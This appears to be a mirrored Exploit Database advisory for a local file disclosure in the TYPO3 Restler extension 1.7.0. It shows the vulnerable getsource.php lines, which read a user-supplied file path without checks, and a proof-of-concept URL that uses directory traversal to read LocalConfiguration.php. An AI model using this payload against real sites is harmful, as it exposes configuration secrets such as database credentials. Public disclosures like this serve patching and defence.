TYPO3 Extension Restler 1.7.0 – Local File Disclosure

Exploit Database
122 阅读

作者： CrashBandicot

日期： 2017-10-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/42985/

# Exploit Title: Typo3 Restler Extension - Local File Disclosure

# Date: 2017-10-13

# Exploit Author: CrashBandicot @dosperl

# Vendor Homepage: https://www.aoe.com/

# Software Link: https://extensions.typo3.org/extension/restler/

# Tested on : MsWin

# Version: 1.7.0 (last)

# Vulnerability File : getsource.php

3.$file = $_GET['file'];

13.$text = file_get_contents($file);

16.die($file . '<pre id="php">' . htmlspecialchars($text) . "</pre>");

# PoC :

# http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php

# https://i.imgur.com/zObmaDD.png

# Timeline :

# Vulnerability identified

# Vendor notified

# CVE number requested

# Exploit released

last Exploits
TYPO3 Extension Restler 1.7.0 – Local File Disclosure的更多信息

Pedidos 1.0 – SQL Injection：
Arab Cart 1.0.2.0 – Multiple Vulnerabilities：
iTech Freelancer Script 5.27 – SQL Injection：
Trend Micro OfficeScan 11.0/XG (12.0) – Information Disclosure：
Life Insurance Management System 1.0 – File Upload RCE (Authenticated)：
dalbum 144 build 174 – Cross-Site Request Forgery：
Joomla! Component JS Autoz 1.0.9 – SQL Injection：
vBulletin 4.0.2 – Search Cross-Site Scripting：